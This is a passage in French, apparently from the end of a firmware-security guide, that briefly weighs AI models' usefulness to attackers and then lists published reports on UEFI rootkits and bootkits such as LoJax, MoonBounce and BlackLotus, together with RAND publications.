• Modèles de garde-fous : les modèles refusent souvent de répondre aux requêtes malveillantes, et il faut parfois de nombreuses relances pour obtenir une réponse utile.
• Complexité des attaques : les modèles excellent dans les tâches simples ou l'écriture d'exploits pour des vulnérabilités connues, mais ne peuvent pas « exécuter de manière fiable des attaques autonomes sur des réseaux durcis ».
• Asymétrie potentielle : certains chercheurs font l'hypothèse que l'IA bénéficie davantage aux attaquants qu'aux défenseurs, car les premiers n'ont besoin de réussir qu'une seule fois. Cette hypothèse est plausible mais ne fait pas consensus et dépend du contexte.

9Annexe — Checklist & Ressources

Checklist de sécurisation firmware

Ressources essentielles

Lectures recommandées

• LoJax: First UEFI rootkit found in the wild — ESET, 2018
• MosaicRegressor: Lurking in the Shadows of UEFI — Kaspersky, 2020
• MoonBounce: the advanced UEFI firmware implant of APT41 — Kaspersky, 2022
• BlackLotus UEFI Bootkit: Myth Confirmed — ESET, 2023
• CosmicStrand: the discovery of a sophisticated UEFI firmware rootkit — Kaspersky, 2022
• Publications RAND sur l'usage de l'IA en cybersécurité (2024)